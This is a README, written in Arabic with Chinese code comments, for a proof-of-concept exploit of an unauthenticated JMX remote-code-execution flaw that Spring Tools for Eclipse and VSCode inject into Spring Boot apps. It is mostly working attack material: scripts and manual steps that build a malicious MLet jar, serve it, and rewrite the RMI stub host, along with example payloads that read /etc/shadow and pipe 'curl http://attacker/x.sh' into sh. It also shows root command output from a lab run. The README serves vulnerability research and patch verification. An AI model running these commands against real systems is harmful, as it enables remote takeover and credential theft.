
استغلال إثبات المفهوم لثغرة تنفيذ الأكواد عن بُعد (RCE) عبر JMX بدون مصادقة في وضع المعلومات المباشر لـ Spring Tools، وذلك باستخدام تحميل الفئات عن بُعد عبر MLet لتنفيذ أوامر عشوائية على تطبيقات Spring Boot المعرضة للخطر.
English README | إعلان الثغرة: Spring Security Advisory | سجل CVE
الثغرة: عند تشغيل تطبيقات Spring Boot عبر Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 في وضع live information (مفعّل افتراضيًا)، تُحقن في التطبيق معاملات JMX عن بُعد بدون مصادقة، وبدون TLS، ومرتبطة بجميع واجهات الشبكة. يمكن لمهاجم من شبكة مجاورة الاتصال بذلك JMX MBeanServer دون أوراق اعتماد، وتحقيق RCE مباشر (بصلاحيات root) عبر تحميل الفئات عن بُعد باستخدام MLet.
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hبمقارنة الوسم المتأثر 5.2.0.RELEASE (== v2.2.0) بالوسم المُصحَّح 5.3.0.RELEASE (== v2.3.0):
الإصدار المُصاب eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: مفعّل افتراضيًا، وتُحقن المعاملات أعلاه في كل مرة يُشغَّل فيها تطبيق Boot من IDE.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) تحقن المعاملات نفسها: -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.الإصدار المُصحَّح 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (يرتبط JMX بالحلقة المحلية فحسب).com.sun.management.jmxremote* نهائيًا، ويُستعاض عنها بالإرفاق محليًا عبر Attach API وفق PID الخاص بالعملية (الأمر نفسه على جانب VSCode، حيث أُزيلت معاملات JMX البعيدة تمامًا من debug-config-provider.ts).ملاحظة: ظهور
-Dcom.sun.management.jmxremote.portوحده كافٍ لتفعيل وكيل JMX (دون الحاجة إلى المفتاح الرئيسيcom.sun.management.jmxremote)، وينطبق ذلك أيضًا على متغير VSCode.
المتطلبات: docker و JDK 17+ (الافتراضي /usr/lib/jvm/java-21-openjdk-amd64) و maven و python3 و nsenter (اختياري).
./run-lab.sh vuln # 漏洞配置 (5.2.0 参数) -> 预期: RCE 成功
./run-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 -> 预期: 攻击被拒 (JMX 仅 127.0.0.1)
./run-lab.sh fixed-auto # 修复版 5.3.0 默认 auto -> 预期: 攻击被拒 (无远程 JMX 端口)
تخصيص الأمر الذي سيُنفَّذ على الجهاز الضحية (الافتراضي id; hostname; uname -a):
PAYLOAD_CMD="cat /etc/shadow" ./run-lab.sh vuln
PAYLOAD_CMD="curl -s http://attacker/x.sh | sh" ./run-lab.sh vuln
ينفّذ السكربت تلقائيًا ما يلي: بناء تطبيق Spring Boot الضحية ← إنشاء شبكة docker جسرية معزولة (حاوية الضحية 172.22.0.x، والمهاجم على المضيف، لمحاكاة شبكة مجاورة) ← تشغيل التطبيق بمعاملات JVM الخاصة بالإصدار المقابل ← عرض منفذ استماع JMX ← تشغيل الاستغلال ← التحقق من ملفات علامة RCE داخل حاوية الضحية (/tmp/CVE-2026-47858_PWNED*).
attack.sh (موصى به)الأوامر قابلة للتكوين بالكامل، وتغيير الأمر لا يتطلب إعادة ترجمة أي شيء (يُمرَّر الأمر عبر وسم MLET <ARG>، والملف jar مستقل عن الأمر):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 victim # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
العملية: ترجمة evil.jar تلقائيًا ← توليد mlet.txt بعد تهريب الأمر وفق قواعد XML ← تشغيل خدمة HTTP لتقديم evil.jar + mlet.txt ← ترجمة JmxExploit وتشغيله ← (إذا حُدد اسم الحاوية) الدخول إلى الحاوية للتحقق من ملفات العلامات.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 在目标机上验证
ls -la /tmp/CVE-2026-47858_PWNED* && cat /tmp/CVE-2026-47858_PWNED_cmdout
Pwn ينفّذ DynamicMBean، ويُتنفَّذ الأمر بشكل متزامن في المنشئ (constructor) عبر /bin/sh -c (الأولوية: معامل MLET <ARG> > متغير البيئة CVE_PAYLOAD_CMD الخاص بعملية الضحية > الأمر الافتراضي id; hostname; uname -a)./tmp/CVE-2026-47858_PWNED — وجوده يعني نجاح RCE/tmp/CVE-2026-47858_PWNED_cmd — الأمر الذي نُفِّذ فعلًا/tmp/CVE-2026-47858_PWNED_cmdout — مخرجات الأمر (stdout+stderr)لماذا
<ARG>؟ لا يتعرف محلل JDKMLetParserإلا على<ARG>(بينما يُتجاهَل<PARAM>بصمت)، وكل منTYPEوVALUEحقلان إلزاميان؛ كما أن محلل MLet لا يعالج تعليقات HTML، لذا لا تضع أي نص<...>زائد فيmlet.txt.
攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090) ← 攻击者主动连受害者的服务
攻击者 ◀──TCP── 受害者 RMI Server(随机端口) ← 正常 JMX 协议通信
攻击者 ──调用──▶ 受害 JVM: newClient(null) ← 无凭据登录 MBeanServer
攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...) ← 受害 JVM 同步实例化恶意类
受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar ← 唯一的"回调": 下载载荷 jar
受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>") ← 命令在受害进程内直接执行
getMBeansFromURL يكون الأمر قد اكتمل (كُتبت ملفات العلامات على القرص).-Djava.rmi.server.hostname=localhost ضمن معاملات الثغرة يجعل RMI stub يُعلن "localhost" فقط (العميل الافتراضي سيحاول الاتصال بحلقته المحلية ويفشل، ويمكن إعادة إنتاج ذلك بـ NaiveJmxClient). يمكن لـ JmxExploit الالتفاف عبر إعادة كتابة مضيف TCPEndpoint الخاص بالـ stub إلى عنوان IP الحقيقي باستخدام الانعكاس (reflection) (وتستطيع أدوات جاهزة مثل Metasploit java_jmx_server الالتفاف أيضًا).أدلة من اختبارات فعلية (داخل حاوية الضحية):
$ cat /tmp/CVE-2026-47858_PWNED_cmdout
uid=0(root) gid=0(root) groups=0(root) # 自定义命令输出
d4af4b454b90 # 受害容器主机名
$ cat /tmp/CVE-2026-47858_PWNED_cmd # 自定义命令(经 <ARG> 传入)
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar
-Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true.CVE-2026-47858/
├── README.md # 本文档(中文)
├── README.en.md # 英文文档
├── run-lab.sh # 一键复现(vuln / fixed-pinned / fixed-auto 三种模式)
├── attack.sh # 灵活利用脚本(命令可配置,改命令无需重编译)
├── attacker/
│ ├── JmxExploit.java # 利用程序:stub 主机重写 + MLet 远程类加载 RCE
│ └── NaiveJmxClient.java # 对照组:不绕过 localhost 通告的朴素客户端(必失败)
├── exploit-server/
│ ├── evil/Pwn.java # 恶意 DynamicMBean(构造函数执行命令)
│ ├── mlet.txt.template # MLET 描述模板(命令占位符 __COMMAND__)
│ └── evil.jar # 已构建的恶意载荷(命令无关,可随时重建)
└── victim-app/app/ # 受害 Spring Boot 4.0.7 应用(web+actuator)
هذا المستودع مخصّص فقط لأغراض البحث الأمني المصرح به، والتحقق من الثغرات، واختبارات الدفاع. يُعدّ استغلال أي نظام دون إذن سلوكًا غير قانوني، ويتحمّل المستخدم المسؤولية الكاملة.
| التكوين | استماع JMX | اتصال عن بُعد غير مصرح به | RCE |
|---|
| الإصدار المُصاب 5.2.0 (معاملات Eclipse) | *:19090 وغيرها (0.0.0.0) | ✅ (تجاوز localhost بإعادة كتابة مضيف الـ stub) | ✅ root |
| الإصدار المُصاب 5.2.0 (معاملات VSCode 2.2.0) | *:19090 (0.0.0.0) | ✅ | ✅ |
| الإصدار المُصحَّح 5.3.0 (منفذ ثابت) | 127.0.0.1 فقط | ❌ رُفض الاتصال | ❌ |
| الإصدار المُصحَّح 5.3.0 (الوضع الافتراضي auto) | لا يوجد منفذ JMX | ❌ | ❌ |